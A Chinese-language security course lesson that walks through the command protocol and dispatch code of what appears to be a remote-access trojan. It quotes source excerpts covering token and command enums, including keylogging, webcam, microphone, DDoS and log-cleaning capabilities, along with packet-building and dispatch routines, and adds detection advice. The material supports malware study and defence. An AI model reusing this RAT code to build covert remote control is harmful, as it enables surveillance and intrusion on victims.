第 11 课:协议与命令分发机制
# 第 11 课:协议与命令分发机制
免责声明:本专栏仅用于安全工程学习研究,禁止使用本专栏介绍的技术做其他用途,否则后果自负,与本号无关。
第 10 课已经讲清楚了网络通信模型:HPSocket、TCP/UDP、ClientContext、压缩缓存和完整包回调。本课继续往上走,看“完整业务包到达以后,主控端怎么知道它代表什么功能”。
新手读这类源码时,最容易被大量 TOKEN_*、COMMAND_* 名称绕晕。其实先抓住一句话就够了:
第一个字节决定业务含义,后面的字节按约定解释。
这就是本课要讲的核心。网络层只负责把完整数据交给主框架,主框架看第 1 个字节是不是 TOKEN_LOGIN、TOKEN_DRIVE_LIST、TOKEN_SHELL_START 这类全局标记;如果已经打开了某个功能窗口,后续数据再交给窗口自己的 OnReceiveComplete,由窗口内部的 COMMAND_* 或局部 TOKEN_* 继续解释。
本课不讲如何构造、伪造、发送控制包,也不讲如何复现远控功能。所有源码节选只用于理解风险、提取检测点和设计合法软件的安全改造思路。
# 1. 本课学习目标
学完本课,你应该能回答这些问题:
| 问题 | 本课回答 |
|---|---|
TOKEN_* 是什么 | 全局业务类型标记,决定主控端打开哪个功能入口或处理哪类基础事件 |
COMMAND_* 是什么 | 某个窗口或插件内部的局部命令,只有进入对应模块后才有具体含义 |
| 为什么说协议很简单 | 包体第 1 个字节是命令号,后面紧跟参数结构、字符串或可变数据 |
| 简单协议有什么风险 | 缺少强认证、完整性校验、版本协商和严格边界检查时,容易被误解析或滥用 |
ProcessReceiveComplete 为什么关键 | 它是完整业务包从网络层进入主控业务层的分发入口 |
| 如何从源码整理协议字典 | 先读全局 TOKEN_*,再读窗口级 COMMAND_*,最后建立“命令 -> 文件 -> 函数 -> 风险”的表 |
| 企业如何检测 | 把固定首字节、长连接、心跳、插件发送、内存加载、注册表缓存和 UI 窗口事件关联起来 |
# 2. 本课涉及源码目录和文件
| 源码文件 | 本课关注点 |
|---|---|
主控\Quick\macros.h | 全局 TOKEN_*、核心 COMMAND_*、窗口消息、ClientContext、DllSendData |
主控\Quick\MainFrm.cpp | ProcessReceiveComplete、ProcessReceive、OnOpenSendVersion、OnOpenSendDll、SendAutoDll |
主控\Quick\FileManagerDlg.h | 文件管理窗口内部的 COMMAND_* 和局部 TOKEN_* |
主控\Quick\FileManagerDlg.cpp | 文件管理命令发送、响应分发和 UI 刷新 |
主插件\HPSocket\stdafx.h | 插件侧维护的同一套全局 TOKEN_* 枚举 |
主插件\上线模块\上线模块\KernelManager.h | 插件侧 DllSendData 结构 |
主插件\上线模块\上线模块\KernelManager.cpp | 版本比较、请求插件数据、缓存插件数据的防御侧观察点 |
主插件\上线模块\上线模块\上线模块.cpp | 上线模块连接后发送版本探测 token 的位置 |
本课会使用文件管理作为循序渐进的例子,因为它的协议最直观:发出“列目录”命令,参数是路径;返回“文件列表”响应,主控端刷新列表。远程终端、注入、驱动、压力测试等高危功能只做风险归类,不展开可复用流程。
# 3. 从网络层到业务层
第 10 课讲到完整包会写入 m_DeCompressionBuffer,随后触发 NC_RECEIVE_COMPLETE。本课从这里开始。

按顺序理解:
- 网络层收到数据,拼出完整包。
- 完整包进入
ClientContext::m_DeCompressionBuffer。 - 主框架读取第 1 个字节。
- 如果第 1 个字节是全局
TOKEN_*,主框架决定打开窗口或处理基础事件。 - 如果某个功能窗口已经绑定到该连接,数据交给窗口自己的
OnReceiveComplete。 - 窗口内部再按局部
COMMAND_*或局部TOKEN_*解释后续数据。 - 当主控端要发命令时,也通常把
COMMAND_*放在第 1 个字节,后面拼参数。
这套机制的优点是简单、执行开销低、写起来快。缺点也很明显:如果缺少认证、签名、长度校验和版本协商,任何一端只要对第 1 个字节理解不同,就可能误分发;如果被滥用,也容易成为远控命令通道。
# 4. 前置概念补课
# 4.1 什么是协议
协议就是双方约定好的数据解释规则。
例如双方约定:
| 字节位置 | 含义 |
|---|---|
| 第 0 字节 | 命令号 |
| 第 1 字节以后 | 命令参数 |
| 参数后面 | 可变长度数据 |
网络层只看到字节,不知道这些字节是目录路径、屏幕数据、文件块还是插件元数据。只有业务层按协议解析以后,字节才有意义。
# 4.2 什么是 token
本源码里的 TOKEN_* 更像“全局事件类型”。它通常由被控端或插件侧发回主控端,用来告诉主控端:
| token 类型 | 白话含义 |
|---|---|
TOKEN_LOGIN | 有连接上报上线信息 |
TOKEN_DRIVE_LIST | 文件管理相关数据来了 |
TOKEN_BITMAPINFO_* | 屏幕类窗口需要打开或处理 |
TOKEN_HEARTBEAT | 心跳包,不进入普通业务流程 |
TOKEN_SENDLL | 对端请求主控端发送插件数据 |
# 4.3 什么是 command
COMMAND_* 更像“某个模块内部的动作”。例如文件管理窗口里,COMMAND_LIST_FILES 表示请求列目录,COMMAND_FILE_DATA 表示文件数据块。换一个模块以后,同样的数值可能有完全不同的意义。
所以新手要记住:
| 名称 | 范围 | 谁解释 |
|---|---|---|
TOKEN_* | 全局层 | CMainFrame::ProcessReceiveComplete |
COMMAND_* | 功能窗口或插件内部 | 对应 Dialog 或 Manager |
局部 TOKEN_* | 某个窗口内部响应类型 | 对应 Dialog 的 OnReceiveComplete |
# 4.4 为什么一字节协议风险高
macros.h 里有一句注释:BYTE最大也就256。这说明全局命令空间天然受限。
一字节协议常见问题包括:
| 风险 | 说明 |
|---|---|
| 命令空间小 | 最多 256 个值,容易出现保留值、复用值和模块私有值混杂 |
| 缺少类型边界 | 只看第 1 字节,不足以证明后续数据真的符合结构体格式 |
| 缺少认证语义 | 命令号本身不代表可信来源 |
| 缺少完整性保护 | 如果没有签名或 MAC,接收端难以确认包未被篡改 |
| 缺少版本协商 | 两端枚举不同步时,同一个数字可能被解释成不同功能 |
| 容易误解析 | 长度不一致、编码不一致、结构体对齐不同都会造成解析偏差 |
# 5. 一字节命令包模型
先看这套源码最常见的数据包形态:

可以把它抽象成:
[ Byte 0: TOKEN 或 COMMAND ][ 参数结构体 ][ 字符串 / 路径 / 元数据 ][ 可变长度数据 ]
这个模型在源码中反复出现。例如:
| 场景 | 第 1 字节 | 后续数据 |
|---|---|---|
| 文件管理列目录 | COMMAND_LIST_FILES | 远程路径字符串 |
| 文件管理返回列表 | TOKEN_FILE_LIST | 文件列表数据 |
| 插件版本探测 | TOKEN_GETVERSION | 位数标记或版本数据 |
| 插件请求 | TOKEN_SENDLL | DllSendData |
| 插件下发 | COMMAND_SENDLL | DllSendData + 插件二进制数据 |
| 心跳 | TOKEN_HEARTBEAT | 忙闲状态 |
安全工程上要关注的不是“怎么发这个包”,而是这些包暴露了什么检测特征:固定首字节、固定长度结构、固定心跳周期、插件元数据、异常大包和可执行内存行为。
# 6. 全局 TOKEN_* 源码精读
先看全局枚举。它是主控端理解业务包的第一张表。
// 源码位置:主控\Quick\macros.h:4-44
// 防御分析注释:
// 1. 这些值是完整业务包第 1 字节的全局含义。
// 2. 主控端和插件侧必须保持一致,否则同一个字节会被错误解释。
// 3. 这里混合了上线、文件、屏幕、音频、键盘、代理、驱动等高风险能力,
// 防御侧可以把它整理成协议字典,用于样本分析和日志关联。
// 4. TOKEN_KERNEL = 100、TOKEN_EXPAND = 200、TOKEN_NOTHING = 255 说明枚举中存在保留区间。
enum MAIN
{
TOKEN_CONDITION, // 数据更新
TOKEN_ERROR, // 客户端反馈信息
TOKEN_PROCESS, // 进程
TOKEN_GNDESKTOP, // 桌面截图预览
TOKEN_GETVERSION, // 获取版本
TOKEN_SENDLL, // 发送DLL数据
TOKEN_LOGIN, // 上线
TOKEN_DRIVE_LIST, // 文件传输
TOKEN_WEBCAM_BITMAPINFO, // 摄像头
TOKEN_AUDIO_START, // 麦克风
TOKEN_SPEAK_START, // 扬声器
TOKEN_KEYBOARD_START, // 键盘记录
TOKEN_PSLIST, // 系统管理
TOKEN_SHELL_START, // 远程终端
TOKEN_SYSINFOLIST, // 主机管理
TOKEN_CHAT_START, // 远程交谈
TOKEN_STARTUP_STATUS_START, // 启动管理
TOKEN_REGEDIT, // 注册表管理
TOKEN_PROXY_START, // 代理
TOKEN_DDOS, // 压力测试
TOKEN_INJECT, // 注入管理
TOKEN_MONITOR, // 屏幕监控
TOKEN_BITMAPINFO_DIF, // 差异屏幕
TOKEN_BITMAPINFO_QUICK, // 高速屏幕
TOKEN_BITMAPINFO_PLAY, // 娱乐屏幕
TOKEN_BITMAPINFO_HIDE, // 后台屏幕
TOKEN_KERNEL = 100, // 驱动功能
TOKEN_EXPAND = 200, // 所有扩展插件
TOKEN_HEARTBEAT, // 心跳
TOKEN_ACTIVED, // 激活
TOKEN_GETAUTODLL, // 自动任务
TOKEN_NOTHING = 255, // 空值或保留值
};
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
对新手来说,不要一口气背所有 token。先分 5 类:
| 分类 | 代表 token | 防御侧关注 |
|---|---|---|
| 连接状态 | TOKEN_LOGIN、TOKEN_HEARTBEAT、TOKEN_ACTIVED | 上线、心跳、激活状态 |
| 插件调度 | TOKEN_GETVERSION、TOKEN_SENDLL、TOKEN_GETAUTODLL | 版本探测、插件请求、自动加载 |
| 系统管理 | TOKEN_PROCESS、TOKEN_SYSINFOLIST、TOKEN_REGEDIT | 进程、系统信息、注册表访问 |
| 交互控制 | TOKEN_SHELL_START、TOKEN_CHAT_START、TOKEN_PROXY_START | 远程交互、代理通道 |
| 采集类 | TOKEN_GNDESKTOP、TOKEN_BITMAPINFO_*、TOKEN_WEBCAM_BITMAPINFO、TOKEN_AUDIO_START | 屏幕、摄像头、音频采集 |
高风险 token 不等于攻击步骤。它们在本教程里的作用是帮助企业理解“哪些能力需要监控和限制”。
# 7. 核心 COMMAND_* 源码精读
KernelManager 枚举是主控端核心管理类使用的一组命令。它和全局 TOKEN_* 不同:这些值通常用于主控端向对端发送指令。
// 源码位置:主控\Quick\macros.h:48-71
// 防御分析注释:
// 1. 这些 COMMAND_* 是主控端向对端表达动作的局部命令。
// 2. 这里包含插件发送、连接关闭、进程/窗口信息、重启/退出等高风险操作。
// 3. 合法软件中这类命令必须绑定认证、授权、审批、日志和用户确认。
// 4. 本课只分析命令分发模型,不提供构造或发送这些命令的方法。
enum KernelManager
{
COMMAND_DLLMAIN,
COMMAND_SENDLL,
COMMAND_CLOSESOCKET,
COMMAND_GET_PROCESSANDCONDITION,
COMMAND_GET_SCREEN,
COMMAND_UPLOAD_EXE,
COMMAND_DOWN_EXE,
COMMAND_RENAME,
COMMAND_FILTERPROCESS,
COMMAND_MONITOR,
COMMAND_GETMONITOR,
COMMAND_CLEANLOG,
COMMAND_RESTART,
COMMAND_EXIT,
COMMAND_LOGOUT,
COMMAND_REBOOT,
COMMAND_SHUTDOWN,
COMMAND_CHANGELOAD,
COMMAND_MOVECLIENT,
COMMAND_COPYCLIENT,
COMMAND_SET_DOOR_GETPERMINSSION = 100,
COMMAND_SET_DOOR_QUITPERMINSSION,
};
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
这段代码的安全重点不是“每个命令怎么用”,而是:
| 风险点 | 为什么重要 |
|---|---|
| 命令语义高危 | 包含关闭连接、上传下载、重启关机、日志清理等动作 |
| 命令缺少自描述 | 包里只有数值,不带强类型名称,分析时需要回到源码映射 |
| 命令和权限未绑定 | 从枚举本身看不出权限边界,需要在上层补控制 |
| 命令空间可扩展 | 后续模块继续定义自己的 COMMAND_*,整体协议字典会不断变大 |
合法远程运维软件中,同类动作至少需要:
| 安全要求 | 说明 |
|---|---|
| 身份认证 | 确认操作者是谁 |
| 命令授权 | 确认操作者是否有权执行该命令 |
| 会话审批 | 高危命令需要审批或双人确认 |
| 操作日志 | 记录时间、操作者、资产、命令、参数和结果 |
| 完整性校验 | 防止命令包被篡改 |
| 用户提示 | 对屏幕、音频、摄像头等隐私能力给出可见提示 |
# 8. ClientContext 在分发中的作用
第 8 课讲过 ClientContext 是连接状态档案。本课只关注和协议分发有关的字段。
// 源码位置:主控\Quick\macros.h:222-251
// 防御分析注释:
// 1. m_DeCompressionBuffer 保存完整解压后的业务包,主框架从这里读取第 1 字节。
// 2. m_Dialog[0] 表示当前连接绑定的功能窗口类型。
// 3. m_Dialog[1] 保存窗口对象地址,后续数据会被转给该窗口处理。
// 4. m_bIsMainSocket 用来区分主连接和插件/功能连接,错误判断可能导致数据进错处理分支。
// 5. m_password 是通信相关字段,不应被视为强认证机制。
struct ClientContext
{
ULONG_PTR m_Socket;
CBuffer m_WriteBuffer;
CBuffer m_CompressionBuffer; // 接收到的压缩的数据
CBuffer m_DeCompressionBuffer; // 解压后的数据
int m_Dialog[2]; // 第一个int是类型,第二个是CDialog的地址
int m_allpack_rev;
long long m_alldata_rev;
int m_allpack_send;
long long m_alldata_send;
int IsConnect;
BOOL m_bIsMainSocket; // 是不是主socket
e_socket switchsocket;
PVOID m_server;
byte m_password[10]; // 通信密码
};
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
这里的关键是 m_Dialog。
| 字段 | 白话解释 | 分发意义 |
|---|---|---|
m_Dialog[0] | 当前连接属于哪个窗口 | 决定后续包交给哪个 Dialog |
m_Dialog[1] | 窗口对象地址 | 主框架用它调用具体窗口的 OnReceiveComplete |
m_DeCompressionBuffer | 完整业务包 | 第 1 个字节决定 token 或局部响应类型 |
m_bIsMainSocket | 是否主连接 | 防止插件连接数据混入主列表更新逻辑 |
这也是很多新手看源码跳跃的原因:同一条连接在不同阶段会有不同状态。刚上线时 m_Dialog[0] 可能还没绑定窗口,主框架按全局 token 分发;打开文件管理窗口以后,后续文件包就交给 CFileManagerDlg。
# 9. 主框架接收分发总流程
CMainFrame::ProcessReceiveComplete 是本课最重要的函数。它负责完整业务包到达后的第一轮分流。

按照源码顺序,它做三件事:
- 先判断是否为空上下文。
- 再判断是否心跳包。
- 如果功能窗口已打开,交给窗口处理。
- 否则读取第 1 字节,进入全局
TOKEN_*分发。
先看心跳和窗口分发部分。
// 源码位置:主控\Quick\MainFrm.cpp:1786-1869
// 防御分析注释:
// 1. TOKEN_HEARTBEAT 被提前处理,不进入普通业务 switch。
// 2. m_bBusy 会影响心跳返回内容,防御侧可关注固定周期和固定长度心跳。
// 3. m_Dialog[0] > 0 表示当前连接已经绑定功能窗口,后续数据转给对应 Dialog。
// 4. 如果 m_Dialog[0] 与 m_Dialog[1] 不一致,可能导致错误类型转换和崩溃风险。
void CMainFrame::ProcessReceiveComplete(ClientContext* pContext)
{
if ((pContext == NULL))
return;
CDialog* dlg = (CDialog*)pContext->m_Dialog[1];
if (pContext->m_DeCompressionBuffer.GetBuffer(0)[0] == TOKEN_HEARTBEAT)
{
if (m_bBusy)
{
BYTE bToken[2] = { TOKEN_HEARTBEAT, 0 };
g_pSocketBase->Send(pContext, (LPBYTE)&bToken, 2);
}
else
{
BYTE bToken[2] = { TOKEN_HEARTBEAT, 1 };
g_pSocketBase->Send(pContext, (LPBYTE)&bToken, 2);
}
return;
}
if (pContext->m_Dialog[0] > 0)
{
switch (pContext->m_Dialog[0])
{
case FILEMANAGER_DLG:
((CFileManagerDlg*)dlg)->OnReceiveComplete();
break;
case SHELL_DLG:
((CShellDlg*)dlg)->OnReceiveComplete();
break;
case REGEDIT_DLG:
((CRegeditDlg*)dlg)->OnReceiveComplete();
break;
default:
TRACE("if (pContext->m_Dialog[0] > 0) 非法数据");
break;
}
return;
}
// 后续进入全局 TOKEN_* switch
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
# 10. 全局 TOKEN_* 分发
如果当前连接没有绑定功能窗口,ProcessReceiveComplete 会进入全局 token 分发。

源码节选如下:
// 源码位置:主控\Quick\MainFrm.cpp:1875-2029
// 防御分析注释:
// 1. switch 的判断条件就是完整包第 1 个字节。
// 2. TOKEN_LOGIN 进入上线列表处理,TOKEN_DRIVE_LIST 打开文件管理窗口。
// 3. 多数功能不是直接执行,而是 PostMessage 给 UI 线程打开对应 Dialog。
// 4. 这些映射关系是协议字典的主干:TOKEN -> 窗口消息 -> Dialog 类。
switch (pContext->m_DeCompressionBuffer.GetBuffer(0)[0])
{
case TOKEN_CONDITION:
// 更新窗口状态和缩略图
break;
case TOKEN_GETAUTODLL:
SendAutoDll(pContext);
break;
case TOKEN_PROCESS:
// 更新进程或状态提示
break;
case TOKEN_LOGIN:
g_pTabView->SendMessage(WM_ADDFINDGROUP, 0, (LPARAM)pContext);
break;
case TOKEN_GNDESKTOP:
OnOpenDesktop(pContext);
break;
case TOKEN_GETVERSION:
OnOpenSendVersion(pContext);
break;
case TOKEN_SENDLL:
OnOpenSendDll(pContext);
break;
case TOKEN_DRIVE_LIST:
g_pFrame->PostMessage(WM_OPENMANAGERDIALOG, 0, (LPARAM)pContext);
break;
case TOKEN_BITMAPINFO_QUICK:
g_pFrame->PostMessage(WM_OPENSCREENSPYDIALOG_QUICK, 0, (LPARAM)pContext);
break;
case TOKEN_WEBCAM_BITMAPINFO:
g_pFrame->PostMessage(WM_OPENWEBCAMDIALOG, 0, (LPARAM)pContext);
break;
case TOKEN_SHELL_START:
g_pFrame->PostMessage(WM_OPENSHELLDIALOG, 0, (LPARAM)pContext);
break;
case TOKEN_REGEDIT:
g_pFrame->PostMessage(WM_OPENREGEDITDIALOG, 0, (LPARAM)pContext);
break;
default:
TRACE("switch (...) 非法数据");
break;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
这段代码要按“路由表”理解:
| 输入 token | 主控动作 | 结果 |
|---|---|---|
TOKEN_LOGIN | WM_ADDFINDGROUP | 上线连接加入列表 |
TOKEN_GETVERSION | OnOpenSendVersion | 主控端回传版本信息 |
TOKEN_SENDLL | OnOpenSendDll | 主控端准备发送插件数据 |
TOKEN_DRIVE_LIST | WM_OPENMANAGERDIALOG | 打开文件管理窗口 |
TOKEN_BITMAPINFO_QUICK | WM_OPENSCREENSPYDIALOG_QUICK | 打开高速屏幕窗口 |
TOKEN_WEBCAM_BITMAPINFO | WM_OPENWEBCAMDIALOG | 打开摄像头窗口 |
TOKEN_SHELL_START | WM_OPENSHELLDIALOG | 打开终端窗口 |
TOKEN_REGEDIT | WM_OPENREGEDITDIALOG | 打开注册表窗口 |
防御侧整理协议字典时,建议用以下列:
| 字段 | 示例 |
|---|---|
| token 名称 | TOKEN_DRIVE_LIST |
| 所在文件 | 主控\Quick\macros.h |
| 分发函数 | CMainFrame::ProcessReceiveComplete |
| 分发位置 | 主控\Quick\MainFrm.cpp:1973 附近 |
| 目标窗口消息 | WM_OPENMANAGERDIALOG |
| 目标 Dialog | CFileManagerDlg |
| 风险分类 | 文件访问 |
| 检测建议 | 文件枚举、远程路径参数、异常文件传输 |
# 11. 窗口消息和 Dialog 类型
全局 token 并不直接创建所有窗口。主框架很多时候使用 MFC 消息把任务投递给 UI 线程。
// 源码位置:主控\Quick\macros.h:315-345
// 防御分析注释:
// 1. WM_OPEN* 是主控端 UI 层的窗口路由消息。
// 2. TOKEN_* 到 WM_OPEN* 再到 Dialog 类,构成完整业务入口。
// 3. 防御侧读源码时,可以从这些消息反查对应 OnMessage 处理函数。
enum
{
WM_NOTIFYPROC = WM_USER + 101,
WM_ADDTOMAINLIST = WM_USER + 102,
WM_DESKTOPPOPUP,
WM_ADDFINDGROUP,
WM_DELFINDGROUP,
WM_REMOVEFROMLIST,
WM_OPENSCREENSPYDIALOG_DIF,
WM_OPENSCREENSPYDIALOG_QUICK,
WM_OPENSCREENSPYDIALOG_PLAY,
WM_OPENSCREENSPYDIALOG_HIDE,
WM_OPENMANAGERDIALOG, // 文件管理
WM_OPENWEBCAMDIALOG, // 摄像头
WM_OPENAUDIODIALOG, // 语音监听
WM_OPENSPEAKERDIALOG, // 扬声器监听
WM_OPENKEYBOARDDIALOG, // 键盘记录
WM_OPENSHELLDIALOG, // shell窗口
WM_OPENSYSINFODIALOG, // 服务器信息
WM_OPENREGEDITDIALOG, // 注册表管理
WM_OPENCHATDIALOG, // 交谈窗口
WM_OPENSTARTUPMGRDIALOG, // 启动管理
WM_OPENPROXYDIALOG, // 代理窗口
};
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
Dialog 类型也在同一个枚举块里定义。
// 源码位置:主控\Quick\macros.h:347-366
// 防御分析注释:
// 1. 这些值会写入 ClientContext::m_Dialog[0]。
// 2. 后续完整包到达时,主框架会根据这个类型强转 m_Dialog[1]。
// 3. 安全改造时应避免用 int 保存窗口指针,建议改成类型安全的对象引用或智能指针。
enum
{
FILEMANAGER_DLG = 1, // 文件管理
SCREENSPY_DIF_DLG, // 差异屏幕
SCREENSPY_QUICK_DLG, // 高速屏幕
SCREENSPY_PLAY_DLG, // 娱乐屏幕
SCREENSPY_HIDE_DLG, // 后台屏幕
WEBCAM_DLG, // 摄像头
AUDIO_DLG, // 麦克风
SPEAKER_DLG, // 扬声器
CHAT_DLG, // 对话
STARTUPMGR_DLG, // 启动管理
SHELL_DLG, // 终端
PROXY_DLG, // 代理
KEYBOARD_DLG, // 键盘
REGEDIT_DLG, // 注册表
MACHINE_DLG, // 系统管理
EXPAND_DLG, // 互动插件
KERNEL_DLG, // 驱动插件
MONITOR_DLG, // 屏幕监控
};
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
这里体现了主控端的三层路由:
| 层级 | 代表 | 作用 |
|---|---|---|
| 网络事件 | NC_RECEIVE_COMPLETE | 说明完整包到了 |
| 全局 token | TOKEN_DRIVE_LIST | 说明是哪类业务 |
| UI 消息 | WM_OPENMANAGERDIALOG | 让主框架打开对应窗口 |
| Dialog 类型 | FILEMANAGER_DLG | 后续数据交给哪个窗口 |
# 12. TOKEN_* 和 COMMAND_* 的边界
很多新手把 TOKEN_* 和 COMMAND_* 混在一起,导致阅读很跳。可以用下面这张图建立边界:

判断方法很简单:
| 问题 | 如果答案是“是” | 更可能是什么 |
|---|---|---|
这个值在 macros.h 的 enum MAIN 里吗 | 是 | 全局 TOKEN_* |
这个值会进入 ProcessReceiveComplete 的大 switch 吗 | 是 | 全局 TOKEN_* |
| 这个值只在某个 Dialog 头文件里定义吗 | 是 | 局部 COMMAND_* 或局部 TOKEN_* |
| 这个值由某个窗口的按钮或菜单发送吗 | 是 | 局部 COMMAND_* |
| 这个值由插件返回给窗口处理吗 | 是 | 局部 TOKEN_* |
企业做协议分析时,也要按这个层次建表。不要只列所有枚举名,否则很难看出哪个命令属于全局入口,哪个命令只在某个模块内部有效。
# 13. 文件管理窗口的局部命令
下面用文件管理窗口做例子。它的头文件里定义了很多局部命令和局部响应 token。
// 源码位置:主控\Quick\FileManagerDlg.h:8-78
// 防御分析注释:
// 1. COMMAND_* 多数是主控端发向对端的文件管理动作。
// 2. TOKEN_* 多数是对端返回给文件管理窗口的响应类型。
// 3. 文件删除、上传下载、加解密、压缩、搜索等能力都属于高风险文件操作。
// 4. 合法软件应对这类命令做最小权限、路径限制、操作确认和完整日志。
enum
{
COMMAND_LIST_FILES,
COMMAND_DELETE_FILE,
COMMAND_DELETE_DIRECTORY,
COMMAND_DOWN_FILES,
COMMAND_CONTINUE,
COMMAND_CREATE_FOLDER,
COMMAND_RENAME_FILE,
COMMAND_STOP,
COMMAND_SET_TRANSFER_MODE,
COMMAND_FILE_SIZE,
COMMAND_FILE_DATA,
COMMAND_OPEN_FILE_SHOW,
COMMAND_OPEN_FILE_HIDE,
COMMAND_COMPRESS_FILE_PARAM,
COMMAND_FILES_SEARCH_START,
COMMAND_FILES_SEARCH_STOP,
COMMAND_FILE_EXCEPTION,
COMMAND_SEARCH_FILE,
COMMAND_FILE_GETNETHOOD,
COMMAND_FILE_RECENT,
COMMAND_FILE_INFO,
COMMAND_FILE_Encryption,
COMMAND_FILE_Decrypt,
COMMAND_FILE_ENFOCE,
COMMAND_FILE_CopyFile,
COMMAND_FILE_PasteFile,
COMMAND_FILE_zip,
COMMAND_FILE_zip_stop,
COMMAND_FILE_NO_ENFORCE,
COMMAND_FILE_GETINFO,
COMMAND_FILE_SEARCHPLUS_LIST,
TOKEN_SEARCH_FILE_LIST,
TOKEN_SEARCH_FILE_FINISH,
TOKEN_FILE_LIST,
TRANSFER_MODE_NORMAL,
TOKEN_FILE_SIZE,
TOKEN_FILE_DATA,
TOKEN_TRANSFER_FINISH,
TOKEN_GET_TRANSFER_MODE,
TOKEN_CREATEFOLDER_FINISH,
TOKEN_RENAME_FINISH,
TOKEN_COMPRESS_FINISH,
TOKEN_DELETE_FINISH,
TOKEN_DATA_CONTINUE,
TOKEN_FILE_GETNETHOOD,
TOKEN_FILE_RECENT,
TOKEN_FILE_INFO,
TOKEN_FILE_REFRESH,
TOKEN_FILE_ZIPOK,
TOKEN_FILE_GETINFO,
};
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
这段枚举读法:
| 前缀 | 方向 | 示例 | 风险关注 |
|---|---|---|---|
COMMAND_* | 主控端发出 | COMMAND_LIST_FILES | 请求对端执行动作 |
TOKEN_* | 对端返回 | TOKEN_FILE_LIST | 对端返回结果或状态 |
TRANSFER_MODE_* | 状态或选项 | TRANSFER_MODE_NORMAL | 影响文件传输处理方式 |
文件管理是企业检测中非常关键的一类能力。即使不看具体实现,只看命令名也能建立风险面:
| 能力类别 | 代表命令 | 企业关注 |
|---|---|---|
| 枚举 | COMMAND_LIST_FILES、COMMAND_FILE_GETNETHOOD | 大量目录枚举、共享目录访问 |
| 传输 | COMMAND_DOWN_FILES、COMMAND_FILE_DATA | 文件外传、异常上传 |
| 修改 | COMMAND_CREATE_FOLDER、COMMAND_RENAME_FILE | 文件系统变更 |
| 删除 | COMMAND_DELETE_FILE、COMMAND_DELETE_DIRECTORY | 批量删除、破坏性操作 |
| 搜索 | COMMAND_SEARCH_FILE、COMMAND_FILE_SEARCHPLUS_LIST | 敏感文件定位 |
| 加解密 | COMMAND_FILE_Encryption、COMMAND_FILE_Decrypt | 勒索类或异常加密行为的风险提示 |
# 14. 文件管理命令往返流程
文件管理的“列目录”最适合新手理解一字节协议。

先看主控端发出列目录命令的源码。
// 源码位置:主控\Quick\FileManagerDlg.cpp:859-869
// 防御分析注释:
// 1. PacketSize = 路径字符串长度 + 1 个命令字节。
// 2. bPacket[0] 放 COMMAND_LIST_FILES,后面紧跟路径字符串。
// 3. 这是一字节命令包的典型形态。
// 4. 合法软件中应限制路径范围,避免任意路径枚举。
int PacketSize = (m_Remote_Path.GetLength() + 1) * sizeof(TCHAR) + 1;
BYTE* bPacket = (BYTE*)LocalAlloc(LPTR, PacketSize);
bPacket[0] = COMMAND_LIST_FILES;
memcpy(bPacket + 1, m_Remote_Path.GetBuffer(0), PacketSize - 1);
m_iocpServer->Send(m_pContext, bPacket, PacketSize);
LocalFree(bPacket);
2
3
4
5
6
7
8
9
10
11
12
13
对端返回数据后,文件管理窗口按返回 token 处理。
// 源码位置:主控\Quick\FileManagerDlg.cpp:641-671
// 防御分析注释:
// 1. 文件管理窗口内部再次读取第 1 字节。
// 2. TOKEN_FILE_LIST 表示返回文件列表,TOKEN_FILE_DATA 表示文件内容。
// 3. 这说明全局分发之后,每个窗口还有自己的局部分发层。
// 4. 防御侧可以把文件类 TOKEN 与文件系统行为、网络数据量做关联。
void CFileManagerDlg::OnReceiveComplete()
{
if (m_bOnClose) return;
switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0])
{
case TOKEN_FILE_LIST:
FixedRemoteFileList(
m_pContext->m_DeCompressionBuffer.GetBuffer(0),
m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1
);
break;
case TOKEN_FILE_SIZE:
CreateLocalRecvFile();
break;
case TOKEN_FILE_DATA:
WriteLocalRecvFile();
break;
case TOKEN_TRANSFER_FINISH:
EndLocalRecvFile();
break;
case TOKEN_DELETE_FINISH:
EndRemoteDeleteFile();
break;
case TOKEN_DATA_CONTINUE:
SendFileData();
break;
default:
SendException();
break;
}
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
这里可以看到两层分发:
| 层级 | 读取第 1 字节的位置 | 例子 |
|---|---|---|
| 主框架全局分发 | CMainFrame::ProcessReceiveComplete | TOKEN_DRIVE_LIST 打开文件管理窗口 |
| 文件窗口局部分发 | CFileManagerDlg::OnReceiveComplete | TOKEN_FILE_LIST 刷新文件列表 |
这也是本课最重要的阅读方法:先找全局入口,再跟到窗口内部。
# 15. 插件版本与发送流程
插件发送流程会在第 12、13 课详细展开,本课只讲它和协议分发的关系。

先看上线模块连接后发出的版本探测。
// 源码位置:主插件\上线模块\上线模块\上线模块.cpp:242-255
// 防御分析注释:
// 1. 对端连接后发送 TOKEN_GETVERSION,让主控端返回登录模块版本信息。
// 2. Token[1] 携带位数标记,x64 和 x86 分支不同。
// 3. 这是插件加载链路的起点之一,企业可在样本分析中关注版本探测包。
CKernelManager manager(socketClient, MyInfo.otherset.puppet);
BYTE Token[2] = {};
Token[0] = TOKEN_GETVERSION;
#ifdef _WIN64
Token[1] = 1;
#else
Token[1] = 0;
#endif
socketClient->Send(Token, 2);
2
3
4
5
6
7
8
9
10
11
12
13
14
15
主控端收到 TOKEN_GETVERSION 后,会回传版本信息。
